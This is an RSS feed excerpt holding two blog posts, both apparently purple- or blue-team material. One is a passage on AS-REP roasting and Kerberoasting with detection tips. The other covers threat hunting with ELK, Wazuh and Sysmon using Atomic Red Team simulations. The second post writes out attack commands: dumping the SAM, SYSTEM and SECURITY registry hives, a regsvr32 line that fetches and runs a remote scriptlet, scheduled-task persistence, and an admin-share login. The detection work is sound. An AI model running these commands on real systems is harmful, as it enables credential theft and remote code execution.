pre-authentication feature. When this feature is disabled on accounts, attacker can easily request encrypted information from Domain Controller and crack the password offline. These attacks generally won’t work so easily because this feature will be enabled by default in modern windows environments. But still, it’s worth a shot to look around as sometimes it will be disabled due to some reasons like misconfigurations or backward compatibility etc.,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BydTcDlI0DJZOf7z_pzjkg.png" /></figure><p>As highlighted in the above, when Pre-auth is disabled for particular users, we can request TGT from AS without any password and we can see Authentication server happily gives TGT right away! </p><p>Boom!! We got TGTs without passwords. How cool is that!</p><p>To perform AS-REP Roast, Impacket tool is preferred to get the hashes. Once the hashes are collected, it can be cracked offline using John or Hashcat.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NGikXJF6s2hCALe4CIpp0g.png" /><figcaption>TGT requests sent without account password</figcaption></figure><h4>Kerberoasting</h4><p>Kerberoasting is well preferred method to extract the service account credentials from DC without sending single packet to target resources. Generally, service accounts are set with highest permissions by server administrations and set passwords not to expire. So, it is shortcut method to identify and compromise that specific service accounts to leverage higher permissions inside Active Directory environment.</p><p>Practically, Kerberoasting requires requesting Kerberos TGS service tickets with RC4 encryption with valid domain user accounts. Compromised valid domain user accounts can be used for this activity. It is possible to scan for existing Service Principal Names (SPNs) in DC and requests TGS for those target accounts. By presenting the valid TGTs to AS, TGS of the target’s accounts can be retrieved and obtained hashes can be cracked offline.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PmNE0NuUF0n13PVPE7XK8Q.png" /></figure><p>For this demonstration, I have used Impacket tool to harvest Service Principal Name (SPN) where in it is possible to request TGS of the target service and tickets can be stored locally by giving “–outputfile” arguments in the command. Then use john or hashcat for offline cracking.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ihsc26N7L4NyfdbW_pUqIQ.png" /><figcaption>SPNs are requested using compromised domain user accounts.</figcaption></figure><p><strong>Now the important question strikes in our mind is — CAN WE DETECT KERBEROASTING?</strong></p><p>The short ANSWER is YES → But the events are too noisy, and one should be very choosy while forwarding the events to SIEM to avoid flooding since users requests TGS very often in the network for accessing the IT resources.</p><blockquote><strong>But the spotlight is when user initiates TGS-REQ packets with RC4 encryption - More preferably, it’s a RED FLAG unless some specific resources uses RC4.</strong></blockquote><p>To investigate further, SIEM should be able to collect and parse “Audit Kerberos Service Ticket Operations” logs from the Servers and looks for the below specific fields –</p><ol><li>Event ID: <a href="https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=4769">4769</a> “A Kerberos service ticket was requested”</li></ol><p>2. Ticket Options: 0x40810000</p><p>3. Ticket Encryption: 0x17 i.e → <strong>RC4-HMAC</strong></p><p>Detailed post can be found <a href="https://adsecurity.org/?p=3458">here</a>.</p><p>Happy Purple Teaming!</p><blockquote><strong><em>PRO-TIP: Switch to Z-Shell a.k.a ZSH from Bash. It is fun! </em></strong><em>😀</em></blockquote><h3>Reference Links –</h3><ul><li><a href="https://www.varonis.com/blog/kerberos-authentication-explained/">Kerberos Authentication Explained</a></li><li><a href="https://www.roguelynn.com/words/explain-like-im-5-kerberos/">Explain like I&#39;m 5: Kerberos</a></li><li><a href="https://adsecurity.org/?p=3458">Detecting Kerberoasting Activity</a></li><li><a href="https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/">Roasting AS-REPs</a></li><li><a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13">[MS-KILE]: Kerberos Network Authentication Service (V5) Synopsis</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6a5ba4b49fa4" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[Threat Hunting with ELK + Wazuh]]></title>
            <link>https://abhijithraom.medium.com/threat-hunting-with-elk-wazuh-b604fd05d18e?source=rss-51d59c832185------2</link>
            <guid isPermaLink="false">https://medium.com/p/b604fd05d18e</guid>
            <category><![CDATA[sysmon]]></category>
            <category><![CDATA[wazuh]]></category>
            <category><![CDATA[elk]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[blue-team]]></category>
            <dc:creator><![CDATA[Abhijith Rao]]></dc:creator>
            <pubDate>Mon, 24 Feb 2020 21:22:12 GMT</pubDate>
            <atom:updated>2020-02-24T21:36:09.116Z</atom:updated>
            <content:encoded><![CDATA[<p>With Sysmon configured on endpoints, ELK + Wazuh stack will facilitate greatly in performing Threat Hunting operations.</p><figure><img alt="Catch me if you can :)" src="https://cdn-images-1.medium.com/max/1024/1*3lPYz7h4NVMSXn92tvZg4Q.jpeg" /><figcaption>Catch Me If You Can :)</figcaption></figure><p>We know that threat landscape is increasing exponentially day by day and perpetrators are employing sophisticated techniques to fly always under radar. So, it is highly important for SOC teams to accelerate the detection capabilities to identify the well-known TTPs at the first place.</p><p>This post will highlight, how Detection capabilities can be leveraged with help of Blue-team’s arsenal Sysmon. The thumb rule of Blue Team is — The More Quality Logs the organization stores, easier the detections.</p><p>To get started, below open source tools are used:</p><ol><li>ELK</li><li>Wazuh</li><li>Sysmon — (config file: sysmon-modular)</li><li>Atomic Red Team (ART)</li></ol><blockquote><strong><em>Background:</em></strong> Wazuh is Opensource HIDS and forked project of OSSEC which has capability to act of HIDS, Detect Rootkits, Endpoint logs shippers to SIEM for enhanced Security Analytics. It has additional fantastic features not limited to File Integrity Monitoring, Vulnerability Detection, Compliance solutions etc.,</blockquote><blockquote>Atomic Red Team (ART) comes with multiple MITRE Techniques testing scenarios. The coverage area by ART can be found below-</blockquote><blockquote><a href="https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/windows-index.md">https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/windows-index.md</a></blockquote><p>Here, below Techniques are tested for simulation purpose and same can be considered to write correlation logic rules in SIEM –</p><ol><li><em>T1003 — Credential Dumping</em></li><li><em>T1037 — Logon Scripts &amp;&amp; T1053 Scheduled Task</em></li><li><em>T1018 — Remote Host Discovery &amp;&amp; T1077 — Windows Admin Shares</em></li><li><em>T1117 — Regsvr32</em></li></ol><p>OKAY!! Let us go practical and the see how the results will appear for these MITRE Techniques ʕ•ᴥ•ʔ</p><ol><li><strong>T1003 — Credential Dumping</strong></li></ol><p>The credentials dumping is process of obtaining the username, password information (clear text/hashes), tickets and post dumping will leverage the attacker to perform chain of activities to fulfill their objectives.</p><p>There are several areas where credentials will get stored or can be retrieved from the Windows OS. Some of the them are -</p><ul><li>SAM</li><li>LSA Secrets</li><li>Lsass.exe process memory</li><li>Service Principle Names (SPN)</li><li>Cached Credentials</li><li>Registry files</li></ul><p>To fetch this credential information, there are confirmed evidences where adversaries had used some of below tools in the past in the series of compromising environment.</p><ul><li>Mimikatz</li><li>gsecdump</li><li>Secretdump</li><li>Windows Credential editor</li><li>Metasploit modules</li><li>Powersploit</li><li>Empire</li></ul><p>Let us see how SAM dumping looks like in SIEM Incidents —</p><blockquote>Commands used on victim machine</blockquote><pre>reg save HKLM\sam %temp%\sam<br>reg save HKLM\system %temp%\system<br>reg save HKLM\security %temp%\security</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*KFGhmMt_m1cLPWn6-vKZvw.png" /><figcaption>T1003 — Registry dump of SAM, creds, and secrets</figcaption></figure><blockquote>The alerts received on ELK —</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VaR8Zrpy__nbnHCffZABoQ.jpeg" /><figcaption>Sysmon Events</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*pEfWtnF39AEjSkveFvVdLg.png" /><figcaption>Sysmon Event ID 1</figcaption></figure><p><strong>2. T1117 — Regsvr32</strong></p><p>Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. Regsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via Component Object Model Hijacking.</p><blockquote>Command used on victim machine –</blockquote><pre>regsvr32.exe /s /u /i:<a href="https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct">https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct</a> scrobj.dll</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*nr_gJMOOqwnZw6p1npkR1A.png" /><figcaption>T1117 — Regsvr32</figcaption></figure><blockquote>The alerts received on ELK —</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*w6Q2bHDQGMGhKVNv6_TUMw.png" /><figcaption>Sysmon Events</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*IVX1VNfuGx4HR1pLgGOX1A.png" /><figcaption>Sysmon Event ID 1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*P_U3VkH2zU4zIoZB4uFn5g.png" /><figcaption>Sysmon Event ID 3</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*lDPAMbJQ655LWB6CxI5SjQ.png" /><figcaption>Sysmon Event ID 7</figcaption></figure><p><strong>3. T1037 — Logon Scripts &amp;&amp; T1053 Scheduled Task</strong></p><blockquote>Commands used on victim machine –</blockquote><pre>schtasks /create /tn “T1037_OnLogon” /sc onlogon /tr “cmd.exe /c calc.exe”</pre><pre>schtasks /create /tn “T1037_OnStartup” /sc onstart /ru system /tr “cmd.exe /c calc.exe”</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*4zpynTz_BciujLHMJ7gicA.png" /><figcaption>T1037 — Logon Script &amp;&amp; T1053 Scheduled Task</figcaption></figure><blockquote>The alerts received on ELK —</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*RQBTkNVLCMKe_8JGAyTKPw.png" /><figcaption>Sysmon Events</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*zoqRuyQbai0EwfKf8odNPw.png" /><figcaption>Sysmon Event ID 1</figcaption></figure><p><strong>4. T1018 — Remote Host Discovery &amp;&amp; T1077 — Windows Admin Shares</strong></p><blockquote>Command used on victim machine –</blockquote><pre>cmd.exe /c “net use \\Target\C$ P@ssw0rd1 /u:DOMAIN\Administrator”</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*Qki_XAfGc44m-ClsfDmYog.png" /><figcaption>T1077 — Windows Admin Shares</figcaption></figure><blockquote>The alerts received on ELK —</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*ok5UeVB4qmJxwZwZTQPkPA.png" /><figcaption>Sysmon Events</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*I9f63JjzI7D3iA7YpQ6veA.png" /><figcaption>Sysmon Event ID 1</figcaption></figure><p><strong>Big shout out to Olaf Hartong (</strong><a href="https://twitter.com/olafhartong?lang=en"><strong>@olafhartong</strong></a><strong>), </strong><a href="https://atomicredteam.io/"><strong>Atomic Red Team (ART)</strong></a><strong> to use their projects for learning purpose.</strong></p><p>Happy Blue Teaming!</p><p><strong>Reference:</strong></p><p><a href="https://wazuh.com/product/">https://wazuh.com/product/</a></p><p><a href="https://github.com/olafhartong/sysmon-modular">https://github.com/olafhartong/sysmon-modular</a></p><p><a href="https://github.com/redcanaryco/atomic-red-team">https://github.com/redcanaryco/atomic-red-team</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b604fd05d18e" width="1" height="1" alt="">]]></content:encoded>
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